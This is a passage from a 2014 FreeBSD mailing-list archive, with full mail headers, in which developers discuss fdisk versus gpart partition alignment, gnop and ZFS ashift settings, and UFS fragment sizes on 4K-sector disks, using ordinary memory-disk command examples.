quoted-printable On Sat, May 31, 2014 at 08:42:42PM -0400, Michael W. Lucas wrote: > Finally, while UFS isn't picky about changing the underlying sector > size on a dump/restore, I believe it's a good idea to always gnop the > underlying disk. Disks lie about sector size, and while it's OK to > assume a 4k-sector disk, assuming a 512b-sector disk on a 4k-sector > disk causes write multiplication. >=20 > Are my beliefs correct? FFS never reads/writes less than the fragment size for the data or inode access. Default current setting for newfs is 4K fragment size. Earlier the fragment size was 2K, AFAIR, but this is irrelevant for the new disks, unless sector-to-sector copy is performed. FFS uses cg block size to access cylinder groups, which is definitely greater than 8K. --ZRLamLUCLuRJXeX8 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTin78AAoJEJDCuSvBvK1BDDEP/0anwQWPalkAFeJDXWWxgOPg W6UVfCkh/Wj+zwYNIFeScoWTxrvXwCgcXx2aeA4WF6+hUeDmUxQDDI/2cFqskQ3M Rl6+YGskToxd80R/e+7YCRrPapUiXH/RnKhi4QOjSOjv41paW85f0yemlvezCchf hG5NVTo4NXu3/+udE7ks4AKlm019kcqrk8OxmFVNLzkDN8qjDcNE4wmVZX+lT6zc 1DOLlDIIkLxSLf3HC6CIUI1B9CxfQb/hh6yalm/k0gydEWCEOH13PQUGkpK8oSLj Jo+aKhr9Z+3pxdTOUisOyWXdY/nHokj1WPEL/d+abYlSf6iPxX9QlfiRiaPyQlxT J3pnIP42TnEKkEN5cwq3//rOu2eSVKp0EfCpAIfM2vQfDjN88p51DNmWD7gFDD4p w4YLgFJKsXyAdPD0xESxa7rwdhng8Abbop3/JRNhypg7waKkMTgQNm5Yp1TmejM8 zKjpvChmBpybq4pZHhviY8vkhbZny7GNPoOK8zUtOXrsvZu9e1wEsuub1+qGcVQU 2EES3WvliXXLwmgeDc8a+VIeJDcuBojwlK/MzefAIVs00lJYZV4EAuTT3VZbBlHf 3S2UVAIRu9mw0IRuzP6ZEUERP2z0EkSDKZL0PmZE+ZhoGz4hMkFE0S2L5HPX05eZ T141NnTrb3z9gbdFqm+6 =2H04 -----END PGP SIGNATURE----- --ZRLamLUCLuRJXeX8-- From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 01:57:35 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 21F7E5B8 for ; Sun, 1 Jun 2014 01:57:35 +0000 (UTC) Received: from mail-oa0-x230.google.com (mail-oa0-x230.google.com [IPv6:2607:f8b0:4003:c02::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id DE9F22143 for ; Sun, 1 Jun 2014 01:57:34 +0000 (UTC) Received: by mail-oa0-f48.google.com with SMTP id g18so3329416oah.21 for ; Sat, 31 May 2014 18:57:34 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=3StuK/Rgc/ucVsUfl+R4c8c5mJQgEl/9auv+1OE68hI=; b=Eg9nzDkI5q6Cb+R5E/UVz9BMjg+fZh/gFxuuYCQxfHiloFfigGhufangJRJMNIuA0M p20+Kvlx0klnNzds8jK3pqHHE1dAnzgv5UEmL7EZ6i0beXXuMtlnIGqhjx+KlaheZAnt U+ANCykGp93hZpwJhZsdT2JWiffMm8ns61algLm6yeZKboLfXDSSw9H0GvcLQslQLtEw ttTCeRA/uK6ycIcF41AWSF+gPT2uME4Ui/tX4cl2jrFBcvGvYxuEVQPhn9gwKswtykn6 cF3kihBwtXetZMpAXsWDo3QBvYTfr9GCJI+EfJ89a+ntmJVkXUUzCQSGcfbB0ze8Lxtw FL+w== MIME-Version: 1.0 X-Received: by 10.182.142.194 with SMTP id ry2mr28068172obb.5.1401587854228; Sat, 31 May 2014 18:57:34 -0700 (PDT) Received: by 10.76.167.164 with HTTP; Sat, 31 May 2014 18:57:34 -0700 (PDT) Received: by 10.76.167.164 with HTTP; Sat, 31 May 2014 18:57:34 -0700 (PDT) In-Reply-To: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> Date: Sat, 31 May 2014 18:57:34 -0700 Message-ID: Subject: Re: fdisk(8) vs gpart(8), and gnop From: Freddie Cash To: "Michael W. Lucas" Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 01:57:35 -0000 There's a sysctl where you can set the minimum ashift for zfs. Then you never need to use gnop. I believe it's part of 10.0? From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 02:00:55 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 462676D3 for ; Sun, 1 Jun 2014 02:00:55 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "funkthat.com", Issuer "funkthat.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 1E36D2160 for ; Sun, 1 Jun 2014 02:00:54 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s5120rqW092470 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 31 May 2014 19:00:54 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s5120rsu092469; Sat, 31 May 2014 19:00:53 -0700 (PDT) (envelope-from jmg) Date: Sat, 31 May 2014 19:00:53 -0700 From: John-Mark Gurney To: "Michael W. Lucas" Subject: Re: fdisk(8) vs gpart(8), and gnop Message-ID: <20140601020053.GR43976@funkthat.com> Mail-Followup-To: "Michael W. Lucas" , hackers@freebsd.org References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Sat, 31 May 2014 19:00:54 -0700 (PDT) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 02:00:55 -0000 Michael W. Lucas wrote this message on Sat, May 31, 2014 at 20:42 -0400: > $SUBJECT have been two contentious points of discussion in private > mail, Twitter, the BSDCan bar track, and random people passing on the > street. I was very surprised at the number of knowledgeable people who > have different ideas on this and argue about it at length. > > I'm hoping to verify what seems to be correct. > > First, is fdisk EVER necessary? I *believe* that gpart's '-a 4k' > handles all alignment issues for the 512B/4KB sector issues. If you gpart's -a will not properly align MBR's slices due to enforced CHS... # mdconfig -a -t swap -s 1gb md0 # gpart create -s mbr md0 md0 created # gpart add -t freebsd -a 4k md0 md0s1 added # gpart show md0 => 63 2097089 md0 MBR (1.0G) 63 63 - free - (32K) 126 2097018 1 freebsd (1.0G) 2097144 8 - free - (4.0K) As you can see, 126 % 8 == 6, and should be 0 w/ the -a 4k... Luckily, if you provide the -a 4k parameter when creating partitions in a bsdlabel, they will be properly aligned, so this isn't a "big" issue since no performance critical data is stored unaligned... > sometimes need to use fdisk, when exactly is that? fdisk can be used to break the CHS requirements that gpart enforces, but per above, as along as -a is provided when you create your partitions, you'll be fine as gpart can "see" through the fact that the slice is unaligned, and align the partition properly... This does mean though that if you ever move over the slice to another slice that has difference alignment, then everything is messed up... fdisk does not force the CHS alignement, and so you can avoid it, though, you cannot use (w/o turning on debug flags which you should never do) fdisk on a system where one of it's slices/partitions are mounted, unlike you can w/ gpart... So, even though you could, I'd still recommend not using fdisk, and only using gpart... > Similarly, I *believe* that you need to "gnop -S 4096 $device" any > time you want to use ZFS, so that 1) zfs sets ashift=12 and 2) you can > later replace a 512B-sector drive with a 4096KB-sector drive without > ZFS having a hissy fit about mismatched sector sizes. I've never used this since I've always put ZFS on top of GELI, and if you use a sector size smaller than 4k, your performance won't be very good, and iirc, you can't use a sector size larger than page size due to some other reasons (I think the machine will panic)... > Finally, while UFS isn't picky about changing the underlying sector > size on a dump/restore, I believe it's a good idea to always gnop the > underlying disk. Disks lie about sector size, and while it's OK to > assume a 4k-sector disk, assuming a 512b-sector disk on a 4k-sector > disk causes write multiplication. I'd leave out the gnop for UFS as it doesn't look at the underlying sector size for anything (unlike ZFS)... As kib mentioned, UFS does everything at least fragment aligned (default 4k), and when it comes to superblocks and cg's, everything is block aligned (32k)... If you try to newfs w/ a smaller fragment size than 4k on a gnop'd device, you end up w/: # newfs -f 2048 -b 16384 /dev/md0s1a.nop /dev/md0s1a.nop: 1023.9MB (2097016 sectors) block size 16384, fragment size 2048 using 7 cylinder groups of 155.50MB, 9952 blks, 39808 inodes. super-block backups (for fsck_ffs -b #) at: 160, 318624, 637088, 955552, 1274016, 1592480, 1910944 newfs: wtfs: 2048 bytes at sector 20160: Invalid argument We should probably fail earlier, as I completely missed the last line, since I saw so many lines of what I'm used to seeing... > Are my beliefs correct? > > I need to get this part of the book correct, or the rest of it will go > wildly astray... -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 14:19:35 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8B639BD5 for ; Sun, 1 Jun 2014 14:19:35 +0000 (UTC) Received: from mho-01-ewr.mailhop.org (mho-03-ewr.mailhop.org [204.13.248.66]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 606D9205C for ; Sun, 1 Jun 2014 14:19:35 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-01-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1Wr6bl-000Owx-MZ; Sun, 01 Jun 2014 14:19:33 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s51EJTZu001533; Sun, 1 Jun 2014 08:19:30 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX18SuxCkIIVpYXP1FROQvIKv Subject: Re: fdisk(8) vs gpart(8), and gnop From: Ian Lepore To: John-Mark Gurney In-Reply-To: <20140601020053.GR43976@funkthat.com> References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <20140601020053.GR43976@funkthat.com> Content-Type: text/plain; charset="us-ascii" Date: Sun, 01 Jun 2014 08:19:29 -0600 Message-ID: <1401632369.20883.51.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: hackers@FreeBSD.org, "Michael W. Lucas" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 14:19:35 -0000 On Sat, 2014-05-31 at 19:00 -0700, John-Mark Gurney wrote: > Michael W. Lucas wrote this message on Sat, May 31, 2014 at 20:42 -0400: > > $SUBJECT have been two contentious points of discussion in private > > mail, Twitter, the BSDCan bar track, and random people passing on the > > street. I was very surprised at the number of knowledgeable people who > > have different ideas on this and argue about it at length. > > > > I'm hoping to verify what seems to be correct. > > > > First, is fdisk EVER necessary? I *believe* that gpart's '-a 4k' > > handles all alignment issues for the 512B/4KB sector issues. If you > > gpart's -a will not properly align MBR's slices due to enforced CHS... Maybe this is naive, but... can't we just *fix* that? For the longest time geom would warn about "geometry does not match label" that had something to do with different parts of the code calculating different CHS values. Eventually it was decided to remove the unactionable message, and my vague memory is that the justification was basically "because CHS is meaningless to geom and modern BIOSen." If there's some "it would cause problems on this ancient hardware that only 3 people in the world use" (I'm usually one of those people -- we support some old equipment in the field at $work), then maybe there could be a flag that enables the old CHS alignment behavior. -- Ian From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 14:36:27 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 46DB5E6B; Sun, 1 Jun 2014 14:36:27 +0000 (UTC) Received: from wonkity.com (wonkity.com [67.158.26.137]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "wonkity.com", Issuer "wonkity.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id CED272196; Sun, 1 Jun 2014 14:36:26 +0000 (UTC) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.14.8/8.14.8) with ESMTP id s51EaO7w024363 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Sun, 1 Jun 2014 08:36:24 -0600 (MDT) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.14.8/8.14.8/Submit) with ESMTP id s51EaO5m024360; Sun, 1 Jun 2014 08:36:24 -0600 (MDT) (envelope-from wblock@wonkity.com) Date: Sun, 1 Jun 2014 08:36:24 -0600 (MDT) From: Warren Block To: Ian Lepore Subject: Re: fdisk(8) vs gpart(8), and gnop In-Reply-To: <1401632369.20883.51.camel@revolution.hippie.lan> Message-ID: References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <20140601020053.GR43976@funkthat.com> <1401632369.20883.51.camel@revolution.hippie.lan> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (wonkity.com [127.0.0.1]); Sun, 01 Jun 2014 08:36:24 -0600 (MDT) Cc: John-Mark Gurney , hackers@FreeBSD.org, "Michael W. Lucas" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 14:36:27 -0000 On Sun, 1 Jun 2014, Ian Lepore wrote: > On Sat, 2014-05-31 at 19:00 -0700, John-Mark Gurney wrote: >> Michael W. Lucas wrote this message on Sat, May 31, 2014 at 20:42 -0400: >>> $SUBJECT have been two contentious points of discussion in private >>> mail, Twitter, the BSDCan bar track, and random people passing on the >>> street. I was very surprised at the number of knowledgeable people who >>> have different ideas on this and argue about it at length. >>> >>> I'm hoping to verify what seems to be correct. >>> >>> First, is fdisk EVER necessary? I *believe* that gpart's '-a 4k' >>> handles all alignment issues for the 512B/4KB sector issues. If you >> >> gpart's -a will not properly align MBR's slices due to enforced CHS... > > Maybe this is naive, but... can't we just *fix* that? Thread starts here: http://lists.freebsd.org/pipermail/freebsd-geom/2014-February/005835.html > For the longest time geom would warn about "geometry does not match > label" that had something to do with different parts of the code > calculating different CHS values. Eventually it was decided to remove > the unactionable message, and my vague memory is that the justification > was basically "because CHS is meaningless to geom and modern BIOSen." > > If there's some "it would cause problems on this ancient hardware that > only 3 people in the world use" (I'm usually one of those people -- we > support some old equipment in the field at $work), then maybe there > could be a flag that enables the old CHS alignment behavior. Short form of above: gpart is supposed to hide and handle underlying GEOM issues, so it needs an override to be able to create these "non-standard" MBRs with slices aligned to arbitrary values. From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 15:00:01 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8E6704FF for ; Sun, 1 Jun 2014 15:00:01 +0000 (UTC) Received: from mail.feld.me (mail.feld.me [66.170.3.6]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "mail.feld.me", Issuer "Gandi Standard SSL CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 3C66B232A for ; Sun, 1 Jun 2014 15:00:01 +0000 (UTC) Received: from mail.feld.me (mail.feld.me [66.170.3.6]); by mail.feld.me (OpenSMTPD) with ESMTP id 5db2786b; Sun, 1 Jun 2014 09:59:51 -0500 (CDT) DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=feld.me; h=content-type :mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to:sender; s= blargle2; bh=RnLLdk6vNoY/VVaXyYm34y87tTM=; b=CPTGkIv3FeRJ5w3i81Y NUPz3YROS+o6FgZCiPj7cBj0t3imfbe7ht44OVjzLCE1vToig/u7iTcMPKKJhF6e bhjgmTwSowWvdfpDzrwwbQc1cNKZEu9t8I2Y9/iOEIQJFHDRlMf3aeb21F8/pc9Q D1QY6PxS8aBGwdPfxt5fdaGZ9CvfJqVWt5jYfjKzpCkKXW43ZRz9BZvNh2f7w/JC 4E9TKTUM/0kkn4BwUt5ycTsBOJd2kGIKD/wGlJi6XaJXkPBVkQpRiK8TIFl/VsB6 URu5Q4FOOrbQ+p17pOywApJS4ZacSaZMqdM115wxqAZD4eAbQHnqD+4twj3P5FTS GTw== DomainKey-Signature: a=rsa-sha1; c=nofws; d=feld.me; h=content-type :mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to:sender; q= dns; s=blargle2; b=CJAUawH6mGDgrFvulN7F5GVFAnuOhflrXqbJBhMgrMon/ KAOuM+bONfJV9EYw8CyBY+Xh72xDHHBNBiU5T1HpTCEZeHWhp5+ZNwtzHpFIUoK/ CaQgbz5Ns1TBNumANpiE16hI2EZ9Vel+rVUt7tEpos7fTuYMT1/8+lpRQ5OgwqOm /8imasgKhYzOZJyAurLJylm2Xr5+hHvK7kBZ3byhZPH8XItLCnbMDy1CF7MkqhOW IU4kwtv5XmQ6Oq+LLkU4wqGbkddQ37n6KRlL+jwhsRPMSdJhDcWfqDRsUFwAR9TW Ybf04zVko645c1W3v9cvCXoV6bHIevV7YJTlJ9YHw== Received: from mail.feld.me (mail.feld.me [66.170.3.6]); by mail.feld.me (OpenSMTPD) with ESMTP id 5560275a; Sun, 1 Jun 2014 09:59:51 -0500 (CDT) Received: from feld@feld.me by mail.feld.me (Archiveopteryx 3.2.0) with esmtpa id 1401634790-323-320/5/23; Sun, 1 Jun 2014 14:59:50 +0000 Content-Type: text/plain Mime-Version: 1.0 Subject: Re: fdisk(8) vs gpart(8), and gnop From: Mark Felder In-Reply-To: Date: Sun, 1 Jun 2014 09:59:48 -0500 Content-Transfer-Encoding: quoted-printable Message-Id: References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> To: Freddie Cash X-Mailer: Apple Mail (2.1878.2) Sender: feld@feld.me Cc: hackers@freebsd.org, "Michael W. Lucas" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 15:00:01 -0000 On May 31, 2014, at 20:57, Freddie Cash wrote: > There's a sysctl where you can set the minimum ashift for zfs. Then you > never need to use gnop. >=20 > I believe it's part of 10.0? I've not seen this yet. What we need is to port the ability to set = ashift at pool creation time: $ zpool create -o ashift=3D12 tank mirror disk1 disk2 mirror disk3 disk4 I believe the Linux zfs port has this functionality now, but we still do = not. From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 15:00:42 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1202E6BE for ; Sun, 1 Jun 2014 15:00:42 +0000 (UTC) Received: from mho-01-ewr.mailhop.org (mho-03-ewr.mailhop.org [204.13.248.66]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D8DC02335 for ; Sun, 1 Jun 2014 15:00:41 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-01-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1Wr7FY-000IMV-KQ; Sun, 01 Jun 2014 15:00:40 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s51F0cnV001554; Sun, 1 Jun 2014 09:00:38 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX19u8jY+VCCXLNWzXD5Hty+X Subject: Re: fdisk(8) vs gpart(8), and gnop From: Ian Lepore To: Warren Block In-Reply-To: References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <20140601020053.GR43976@funkthat.com> <1401632369.20883.51.camel@revolution.hippie.lan> Content-Type: text/plain; charset="us-ascii" Date: Sun, 01 Jun 2014 09:00:37 -0600 Message-ID: <1401634837.20883.74.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: John-Mark Gurney , hackers@FreeBSD.org, "Michael W. Lucas" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 15:00:42 -0000 On Sun, 2014-06-01 at 08:36 -0600, Warren Block wrote: > On Sun, 1 Jun 2014, Ian Lepore wrote: > > > On Sat, 2014-05-31 at 19:00 -0700, John-Mark Gurney wrote: > >> Michael W. Lucas wrote this message on Sat, May 31, 2014 at 20:42 -0400: > >>> $SUBJECT have been two contentious points of discussion in private > >>> mail, Twitter, the BSDCan bar track, and random people passing on the > >>> street. I was very surprised at the number of knowledgeable people who > >>> have different ideas on this and argue about it at length. > >>> > >>> I'm hoping to verify what seems to be correct. > >>> > >>> First, is fdisk EVER necessary? I *believe* that gpart's '-a 4k' > >>> handles all alignment issues for the 512B/4KB sector issues. If you > >> > >> gpart's -a will not properly align MBR's slices due to enforced CHS... > > > > Maybe this is naive, but... can't we just *fix* that? > > Thread starts here: > http://lists.freebsd.org/pipermail/freebsd-geom/2014-February/005835.html > > > For the longest time geom would warn about "geometry does not match > > label" that had something to do with different parts of the code > > calculating different CHS values. Eventually it was decided to remove > > the unactionable message, and my vague memory is that the justification > > was basically "because CHS is meaningless to geom and modern BIOSen." > > > > If there's some "it would cause problems on this ancient hardware that > > only 3 people in the world use" (I'm usually one of those people -- we > > support some old equipment in the field at $work), then maybe there > > could be a flag that enables the old CHS alignment behavior. > > Short form of above: gpart is supposed to hide and handle underlying > GEOM issues, so it needs an override to be able to create these > "non-standard" MBRs with slices aligned to arbitrary values. Hmm. If it takes a special "do what I actually said" flag, that's okay I guess. My problem with that thread is the implicit assumption that CHS alignment is required by *something* but there's no evidence what that something is, other than "MBR has always in the past been CHS aligned." I don't have enough knowledge in this area to contradict that assumption, I'm just always skeptical of "thus it was spoken in 1982 and thus it will always be" as an argument against sensible change. Looking at what's done on other modern OSes seems reasonable, for example. And then of course there's the matter of a conclusion (perhaps not 100% satisfying, but workable) having been reached, and yet code was never changed. Not that I can volunteer to do it right now, I'm already overcomitted. -- Ian From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 15:00:55 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 99BB67AE for ; Sun, 1 Jun 2014 15:00:55 +0000 (UTC) Received: from wonkity.com (wonkity.com [67.158.26.137]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "wonkity.com", Issuer "wonkity.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 2CFB9233B for ; Sun, 1 Jun 2014 15:00:55 +0000 (UTC) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.14.8/8.14.8) with ESMTP id s51F0r7w024484 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Sun, 1 Jun 2014 09:00:53 -0600 (MDT) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.14.8/8.14.8/Submit) with ESMTP id s51F0rC0024481; Sun, 1 Jun 2014 09:00:53 -0600 (MDT) (envelope-from wblock@wonkity.com) Date: Sun, 1 Jun 2014 09:00:53 -0600 (MDT) From: Warren Block To: "Michael W. Lucas" Subject: Re: fdisk(8) vs gpart(8), and gnop In-Reply-To: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> Message-ID: References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (wonkity.com [127.0.0.1]); Sun, 01 Jun 2014 09:00:54 -0600 (MDT) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 15:00:55 -0000 On Sat, 31 May 2014, Michael W. Lucas wrote: > Folks, > > $SUBJECT have been two contentious points of discussion in private > mail, Twitter, the BSDCan bar track, and random people passing on the > street. I was very surprised at the number of knowledgeable people who > have different ideas on this and argue about it at length. That is surprising, but then there are still fervent supporters of bare bsdlabel partitions, too. (Less of them lately. Presumably many are offline because some disk partitioning tool written in the last couple of decades has blown away their bsdlabels, but I digress.) > I'm hoping to verify what seems to be correct. > > First, is fdisk EVER necessary? I *believe* that gpart's '-a 4k' > handles all alignment issues for the 512B/4KB sector issues. If you > sometimes need to use fdisk, when exactly is that? Yes, fdisk is still necessary, but only to create aligned MBR slices. Well, it can only deal with MBR anyway, but unlike gpart, it does not force a standards-compliant CHS value for slice starting location. (It still happily complains about it, though.) The confusing workaround with gpart is to let it create the MBR slice aligned to imaginary CHS values, working out to block 2079 on modern disks. This is unaligned to 4K or other reasonable power of two values. gpart will, however, align bsdlabels inside the slice. If asked. > Similarly, I *believe* that you need to "gnop -S 4096 $device" any > time you want to use ZFS, so that 1) zfs sets ashift=12 and 2) you can > later replace a 512B-sector drive with a 4096KB-sector drive without > ZFS having a hissy fit about mismatched sector sizes. It's mystifying to me that ZFS will happily check device block sizes and use the largest block size detected. Yet there is no command-line way to specify a a block size, and so there is this ridiculous hack of a workaround. Many people also confuse using gnop to force 4K blocks with alignment. > Finally, while UFS isn't picky about changing the underlying sector > size on a dump/restore, I believe it's a good idea to always gnop the > underlying disk. Disks lie about sector size, and while it's OK to > assume a 4k-sector disk, assuming a 512b-sector disk on a 4k-sector > disk causes write multiplication. With the 